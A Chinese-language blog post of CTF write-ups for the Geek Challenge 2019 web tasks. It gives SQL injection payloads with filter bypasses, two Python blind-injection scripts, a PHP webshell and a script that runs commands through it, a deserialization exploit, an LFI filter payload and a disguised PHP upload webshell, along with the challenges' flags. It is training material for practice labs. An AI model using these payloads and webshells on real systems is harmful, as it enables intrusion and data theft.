首页 > 数据库 >[极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新)

[极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新)

时间:2024-03-19 12:11:42浏览次数:27  
标签:username web php url 题解 self flag password 部分

SQL部分:

[极客大挑战 2019]BabySQL

打开环境后有登录界面◕‿◕

一眼注入,后先试试万能密码:

username:admin' or '1'='1
password:1

 GG,出大问题,我就会这一招啊O.o??完结撒花(不是

꒰ঌ( ⌯' '⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不行,那咱继续注入哈:

尝试输入下正常的union select等语句发现都被过滤了,那接下来把他们都双写看一下:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23

看到情况是不报错,是列数不对啊

那就使用二分法一个一个排查,发现列数是3的时候就对了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23

后边就简单了,直接附代码了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆库

 

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
#列出所有库

 

看到了ctf库进去:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere 
 table_name="Flag" %23

 

直接拿数据就好了:

/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23

得到Flag:

flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}

[极客大挑战 2019]EasySQL

看到第二题,发现界面没变,还长这样

话不多说,万能密码尝试一下:

username:1
passwd:admin' or '1'='1

啊?直接出?好吧,看来是练手的:

flag{ef920bf4-ed7f-419b-af87-409fa306319a}

[极客大挑战 2019]HardSQL

好,出题人不知悔改,那就让他终身难忘(doge

同样的万能密码起手,能简单来我们就不展开做o.O

username:admin' or '1'=1'
passwd:1

 

好小子,那我可要进去了!

admin
1' order by 3#

?还是这样是吧,那就bp看狙击手模式下你给我过滤了多少字段!

fuzz完发现空格 ,注释符,and,by,=,sleep,/,~等都被过滤了,行,那就进入报错注入环节:

使用()代替空格,使用like代替=,使用^连接函数形成异或

查了其他数据库最后锁定在geek里边

先查表:

admin'or(updatexml(1,concat(0x7e,database()),1))#

 

好小子,漏出马脚了吧,那接下来爆表名:

admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#

 

继续:

admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23

出敏感字段,结束了,胜负已分( ´◔︎ ‸◔︎`)

admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#

但是只出来左半边?那好说了,左右分开就好了:

admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#

 

flag{de3015f5-b395-4395-86c8-cf2ddf32e801}

[极客大挑战 2019]LoveSQL

ok看看这个家伙还会来什么

先输入万能密码:

用户名:1' or 1=1#
密码:123(随便输)

爆出了一些字段,接下来我们试一下联合注入,二分法先确认是3个字段:

/check.php?username=1' union select 1,2,3%23&password=1

得到回显位置为2、3,查一下版本号:

/check.php?username=1' union select 1,database(),version()%23&password=1

得到关键信息geek为数据名称,接下来就可以常规步骤了:

爆表:

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆字段:

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

爆数据:

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

得到flag:

flag{c76c8911-1aa0-494f-bd2d-1d7356abef1f}

 

[极客大挑战 2019]FinalSQL

最后一个了,小小出题人又会干嘛呢?0.0

 

ok,又是一堆乱七八糟的,挨个点击以后发现在第五个里边说有个id=6

那就修改下id=6:

.

这么一看方向是对的,那接下来分析一下:

测试这个地方是否存在注入,结果发现他有过滤,过滤了空格、星号等特殊符号,但是减号、异或符、除号并未过滤,并且测出此处为数字型注入而非字符型注入。(测试方法:传值1、2-1、1/1、1^0等结果正常显示,而输入3-1则显示“2”的页面)

这样的话,要二分法盲注了,这里给大家直接脚本了,一个大牛的,一个我的:

脚本1:

# -*- coding: utf-8 -*-

import re
import requests
import string
import time

url = "#url+id="
flag = ''


def payload(i, j):
    # 数据库名字
    #sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
    # 表名
    #sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
    # 列名
    #sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
    # 查询flag
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
   # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res


def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        #print (f)
        flag += chr(f)
        print(flag)
        time.sleep(0.5)


exp()
print('flag=', flag)

脚本2:

import requests
url = "http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
    low = 32
    high = 127
    while low < high:
        mid = (low+high)//2
        # 中间的语句为真,网页不报错,中间的语句为假,网页报错,根据这个判断
        # 查数据库
        # database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # 查表
        # tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
        # columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
        data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
        print(chr(mid))
        # 根据需要查询的内容改变get中的参数
        r = requests.get(url=url+data)
        # print(url+database)
        # print(payload1)
        # print(r.raw)
        if 'Click' in r.text:
            low = mid + 1
        else:
            high = mid
        # print(low,mid,high)
    flag += chr(low)
    print(flag)

切记!不要为了速度把sleep删了!!!!!网页会响应不过来!

得到flag:

flag{4184bf22-51f1-4f03-a6f1-53f1734a5fb6}

其他web部分:

[极客大挑战 2019]BuyFlag

开启环境以后大眼看了下界面,点击payflag后发现了新界面!

可以看到要求:

1.你要是cuit里边的学生

2.你必须有正确的password

打开F12源码查看器确认下信息,有这么一串东西:


	~~~post money and password~~~
if (isset($_POST['password'])) {
	$password = $_POST['password'];
	if (is_numeric($password)) {
		echo "password can't be number</br>";
	}elseif ($password == 404) {
		echo "Password Right!</br>";
	}
}

1.可以得到post是传参方式,如果password=404为真,就绕过,后边有is_numeric()函数,同时为了绕过这个,就必须有字母,所以我们选择输入404x

打开hackbar,这样子传一下:

发现没变化,那就抓包看一下吧:

这时注意到,Cookie有个扎眼的user=0,改成1试试:

ok,可以看到提示变了,他说我们前两项都对了,但是必须付钱,那我们再机灵点,直接post money好了,改成他想要的:

password=404x&&money=100000000

放包以后看一下结果:

结果又过长了,我给改短也试了试,他说你钱不够,嘲讽你是loser~

这就难办了,加也不是,减也不是,很束手无措,估计这题难点就在这里了,我尝试找了下版本号:

5.3.3版本下我记得可以用函数strcmp()对数字进行绕过,那就改造一下:

password=404x&&money[]=1000

Get!!!!!!!!!!拿下!!!!!!!

flag{b97e8597-44d5-4127-809e-c6aa087564b4}

[极客大挑战 2019]Havefun

打开去撸猫:

撸了十分钟才想起要做题嗯~ o(* ̄▽ ̄*)o..,那就打开下F12:

有个源码提示:

        $cat=$_GET['cat'];
        echo $cat;
        if($cat=='dog'){
            echo 'Syc{cat_cat_cat_cat}';
        }
        

 这样话直接get吧,cat=dog也没别的做的了=.=

直接拿了,撸猫撸的很开心!)╭ ( ̄︶ ̄)ψ

flag{21ffc3d1-4900-4c00-a8d8-dd2c32d7e6a4} 

[极客大挑战 2019]Knife

基础方法:

打开环境给了个一句话木马,说实话有点懵逼O.O!

那就直接蚁剑链接一下试试吧:

直接连接成功了?O.O

那直接打指令找一下吧:

cat /flag

出了,写到这里我总感觉那里不对,不应该这么简单,就琢磨了下,但是没想到好办法,这时候看到了两篇博客,是两位佬的其他思路:士别三日wyxSenimo_的这里我会讲解我理解下的内容,如果有兴趣的师傅建议去原文看一下,其中我真的很喜欢士别三日博客的一句话,真的建议每一位Ctfer记住!

进阶方法一(@士别三日wyx):

首先回到这个初始界面

我们看到一句话木马,一句话木马本身是利用代码执行的函数进行运行,说的简单点就是你的post请求传入eval()中,那也就是说,我们可以修改Post请求的参数来执行代码!

打开hackbar执行:

Syc=phpinfo();

可以直接进入展示PHP信息界面:

这里很多人有疑问了,为什么要进入这里呢,因为在这个phpinfo界面下是无任何过滤的,这也是为什么,大多数网站的题目都要禁止或者加密不让访问这个界面,接下来进入下一步:

我们使用var_dump()+scandir()查看一下根目录:

Syc=var_dump(scandir('/'));

执行完以后看似没啥变化,这只是因为背景颜色遮挡了修改,ctrl+u进入源码界面:

可以看到flag文件夹了,ctf有一个不成文的规矩就是要么不出flag字符,要么出现flag就在这里边!

那就访问下就好,使用vay_dump+file_get_contents()查看文件就还好了:

Syc=var_dump(file_get_contents('/flag'));

这个时候在打开ctrl+u就得到了flag:

说实话,这个方法并不是什么很新奇或者很出乎意料的东西,但是贵就贵在守住了最原始的破解方式,让现在很多ctfer从只依赖脚本不去看基础知识的思维里跳出来,很难能可贵,借用大佬的话就是:

喜欢一个东西首先要先学会「尊重」,虽然网络安全的圈子不乏各种灰产,以及高调宣传自己是黑客的脚本小子,但不可否认,这个圈子仍有不少人保持着「举世皆浊我独清,众人皆醉我独醒」的心态,努力磨砺技术,提升自身修养,让互联网变得更加安全。

进阶方法二(@Senimo_):

方法三、进阶方法二是使用脚本(当然是自己手搓的):一句话木马的原理刚才说过了,这里不再提,尝试用python连接一下可以这么理解:

连接一句木马并使用SHELL,需要将一句话木马作为POST传值的参数,将PHP语句作为值传入,并通过PHP语句执行SHELL命令。

我们剖析一下菜刀的原理,先看下菜刀发送的数据包:

op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=

op=@eval(base64_decode($_POST[attack]));为正常的一句话木马,其通过POST方式传参,参数名为attack
base64_decode()函数解码了传入的值
因为对传入的值进行BASE64编码可以有效的防止特殊字符传输失败的异常。
把值进行BASE64解码,得到:

@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();

首先进行测试:

可以得到预设的回显,这样的话就直接搬运脚本:

# -*- coding:utf-8 -*-
# name: Meng
# mail: [email protected]
# ctf_exp06:BUUCTF [极客大挑战 2019] Knife

import requests
import re


class Knife:
    def __init__(self, url_input):
        self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
        self.status_code = 1        # 链接状态:0:无效,1:连通
        self.url = url_input.strip()
        self.flag = ''

    def url_test(self):
        # 可以重复输错10次链接
        for i in range(9):
            try:
                # 对输入的url做判断
                if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
                    # 尝试访问链接是否为200
                    requests.get(self.url)
                    print('测试状态: 200  ' + self.url)
            except:
                print('无效链接!请重新输入!')
                self.url = input('请输入题目链接:')
                self.status_code = 0

            else:
                self.status_code = 1
                break

        if self.status_code == 0:
            print('无效链接!退出程序!')
            return

    def num_test(self):
        # 设置获取flag只能重复30次
        for i in range(30):
            try:
                r = requests.post(self.url, data=self.payload_data)

                # 匹配buuctf平台flag格式
                self.flag = re.search(r'flag\{.+\}', r.text).group()

            except:
                print('第 ' + str(i+1) + ' 次未获取到flag! 正在重试!')
            else:
                break

    def run(self):
        self.url_test()     # 连接测试
        self.num_test()     # flag获取

        if self.flag == '':
            print('已尝试30次!未获取到flag! 退出程序!')

        return self.flag


if __name__ == '__main__':
    print('ctf_exp0: BUUCTF [极客大挑战 2019] Knife')
    url_input = input('请输入题目链接:')
    print(Knife(url_input).run())
    input()  # 防止退出cmd

运行同样得到flag:

flag{732832c3-cca5-4852-803d-3cf15e43f364}

作者随笔:

这道简单的题目之所以要花这么长篇幅去写,更多是因为做题的时候看到

了那段大佬写的话,认为在学ctf的时候更多要知道自己是为什么才进入了

这个领域,赚一些什么固然很重要但是初心不忘更加难能可贵,想起来以

前看奥特曼的一句话:热忱之心不可变,不能走着走着忘了为什么才开

始。。。。

[极客大挑战 2019]PHP

打开环境以后发现又可以逗猫,就偷偷玩了一小会儿。。。。好了!进入正题!

题目中明显说有备份文件,那就盲猜www.zip:

ok,有东西,如果实在猜不到就dirseach扫描一下好了,打开源码包:

class.php

<?php
include 'flag.php';


error_reporting(0);


class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();

            
        }
    }
}
?>

flag.php

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

index.js

<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>

index.php

<!DOCTYPE html>
<head>
  <meta charset="UTF-8">
  <title>I have a cat!</title>
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
      <link rel="stylesheet" href="style.css">
</head>
<style>
    #login{   
        position: absolute;   
        top: 50%;   
        left:50%;   
        margin: -150px 0 0 -150px;   
        width: 300px;   
        height: 300px;   
    }   
    h4{   
        font-size: 2em;   
        margin: 0.67em 0;   
    }
</style>
<body>







<div id="world">
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
    </div>
    <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
    <?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>
    </div>
    <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script  src="index.js"></script>
</body>
</html>

style.css

@import url(https://fonts.googleapis.com/css?family=Open+Sans:800);

#world{
	position: absolute;
	width:100%;
	height: 100%;
	background-color: #6ecccc;
  overflow:hidden;
}

#credits{
  position:absolute;
  width:100%;
  margin: auto;
  bottom:0;
  margin-bottom:20px;
  font-family:'Open Sans', sans-serif;
  color:#328685;
  font-size:0.7em;
  text-transform: uppercase;
  text-align : center;
}
#credits a {
  color:#328685;
}

#credits a:hover {
  color:#630d15;
}

审计完构造出链子:

EXP:

<?php
class Name{
    private $username = 'admine';
    private $password = '100';
    }
 $select = new Name();
 $res=serialize(@$select);   
 echo $res
?>

执行出来后得到:

O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

当然当然,众所周知,有个__wakeup永远没法安生,把2改成3。

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}

hackbar输入以后得到flag:

 

flag{75405f3e-bc9f-4d56-ac1a-a5157f22d9c4}

[极客大挑战 2019]Secret File

打开环境以后看到了不得了的东西呢=.=

打开F12看一下源码发现/Archive_room.php

直接访问!

接下来点开以后直接进入了/end.php

这就让我很奇怪了,为什么什么都没,又翻了下源码发现有个/action.php

跳转一下试一试

怎么又跳回去了?我确实没看清。。。。。

这样的话我明白逻辑了:/Archive_room.php/action.php/end.php只不过中间的过程跳转时间很快,那这样的话就做一下bp好了,打开bp:

这个界面跳转一下,然后抓到了这样的包:

发出去以后发现了这个界面,有/secr3t.php 

访问进去:

GET /secr3t.php HTTP/1.1

看到了有php代码,源码放下边:

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

其实就是构造一个伪协议:

Payload:

secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

 

出来了base64密码,解码就好了:

PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MmVmOWMwM2MtZjJhMC00NDZiLWEzM2YtOTFhNTllZWViOWRifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=

这里送师傅们个拙作,py的base64本地解码手搓代码:

import base64  
  
def base64_decoder(encoded_string):  
    try:  
        decoded_bytes = base64.b64decode(encoded_string)  
        decoded_string = decoded_bytes.decode('utf-8')  
        return decoded_string  
    except Exception as e:  
        return f"解码失败: {e}"  
  
# 示例用法  
encoded_string = ""  # 这是的Base64编码  
decoded_string = base64_decoder(encoded_string)  
print(decoded_string) 

可以本地跑,省赛有时候用的是专用ip,不让查的=.=

[极客大挑战 2019]Upload

映入眼帘文件上传,行吧,先随便传点什么:

ok,经典图片上传,先把bp打开,肯定用得到,先手搓一个一句话木马:

<?php @eval($_POST['attack']);?>

oh,有检索过滤,那就难办了,我不会,完结撒。。。。。花个棒子,可以解决,先随便上传一个文件,抓包抓住,挨个试:

php过滤了

php3过滤了

不一个一个试了,最后实验到了phtml

因为我文件里没写内容,但是呢他的回显不一样了呢,那就用gif绕过好了:

GIF89a? <script language="php">eval($_REQUEST[1])</script>

(补充一下绕过后缀的有文件格式有phtml,pht,php,php3,php4,php5)

氢氢又怂怂(u‿ฺu✿),好了检查get头是什么直接蚁剑连接:

url:http://f9e62125-dcd4-4eef-8575-1337cfed47a9.node5.buuoj.cn:81/upload/1.phtml
passwd:1

欧克,连接就好了终端cat /flag

cat /flag

得到flag:

flag{c93d17b8-5074-4421-8420-352cd9a47bae}

暂时完结撒花!!!RCE我还没学太懂怕误导大家,就不写了,以后学会了后边会补充!下篇博客再会啦,没看懂的师傅欢迎私信我哦!!

标签:username,web,php,url,题解,self,flag,password,部分
From: https://www.cnblogs.com/TagLmtCtf/p/18082492

相关文章

  • 题解:CF1941G Rudolf and Subway
    原题链接简化题意一个无向连通图中将边分成了不同颜色(保证同种颜色联通),问从\(b\)到\(e\)最短需要经过几种颜色思路考虑因为同种颜色联通,可直接在读入的时候开两个vector分别存每个点属于的颜色及每种颜色有哪些点,又因为颜色数字可能跨度比较大,最好另开一个存颜色的种......
  • TP6 使用 nusoap为第三方webservice调用插件
    composer下载插件composerrequirenusoap/nusoapuseNuSoap\Client\Client;classIndexextendsBaseController{/****/publicfunctionindex(){//WebService的WSDL地址$wsdl='http://xxx.ygys.net/ResumeServ......
  • 【工程应用九】再谈基于离散夹角余弦相似度指标的形状匹配优化(十六角度量化+指令集加
    继去年上半年一鼓作气研究了几种不同的模版匹配算法后,这个方面的工作基本停滞了有七八个月没有去碰了,因为感觉已经遇到了瓶颈,无论是速度还是效率方面,以当时的理解感觉都到了顶了。年初,公司业务惨淡,也无心向佛,总要找点事情做一做,充实下自己,这里选择了前期一直想继续研究的基于......
  • webapi通过docker部署到Linux的两种方式
    docker安装官网删除dockersudoyumremovedocker\docker-client\docker-client-latest\docker-common\docker-latest\docker-latest-logrotate\docker-logrotate\docker-engine安装sudoyuminstall-yyum-utilssudoyum-config-manage......
  • P9077 [PA2018] Poddrzewo 题解
    思考感觉题目有点迷惑的意思,要最小化操作\(1\)使用的次数,也就是要节约修改操作,让我们认为操作\(1\)是最有用的,其实只要稍微动动脑子想一想,删除操作才是最有用的,而交换操作根本没用。当将序列删除到只剩两个点时,就把两个点连上,度都为\(1\)。所以如果序列中\(1\)的数量超......
  • 借助HttpWebRequest 调用第三方接口,获取Token和数据
    在一次项目中,在给客户做系统时,需要调用客户的系统获取数据,客户提供了获取Token和获取数据的接口,用户名和密码,认证方式是基于Bearer的,通过学习和找资料,提供一个C#示例一个C#示例1、传入语句获取数据///<summary>///传入语句获取数据///</summary>......
  • 亲子游戏【华为OD机试JAVA&Python&C++&JS题解】
    题目描述宝宝和妈妈参加亲子游戏,在一个二维矩阵(NN)的格子地图上,宝宝和妈妈抽签决定各自的位置,地图上每个格子有不同的糖果数量,部分格子有障碍物。游戏规则是妈妈必须在最短的时间(每个单位时间只能走一步)到达宝宝的位置,路上的所有糖果都可以拿走,不能走障碍物的格子,只能上下......
  • SGU171 Sarov zones 题解
    题意:有\(K\)个城市,第\(i\)城市至多有\(N[i]\)个人,每个城市有一个属性\(Q[i]\)。对于\(N=\sumN[i]\)个人,每个人有一个属性\(P[i]\)和价值\(W[i]\),把第\(i\)个人放进第\(j\)个城市中,当且仅当\(P[i]>Q[j]\)时,可以获得\(W[i]\)的价值,否则不获得价值。求出满......
  • [极客大挑战 2019]web部分题解(sql部分已完结,其他部分正在更新)
    SQL部分:[极客大挑战2019]BabySQL打开环境后有登录界面◕‿◕一眼注入,后先试试万能密码:username:admin'or'1'='1password:1 GG,出大问题,我就会这一招啊O.o??完结撒花(不是꒰ঌ(⌯''⌯)໒꒱开玩笑的,着看着像是过滤了or后来尝试了一下oorr双写发现也不行,那咱继续注入哈:尝试......
  • 注册-前端部分
    前提:后端jar环境、Vue3环境、Redis环境搭建页面(html标签、css样式)→ 绑定数据与事件(表单校验)→调用后台接口(接口文档、src/api/xx.js封装、页面函数中调用)Login.vue文件: <scriptsetup>import{User,Lock}from"@element-plus/icons-vue";import{ref}from......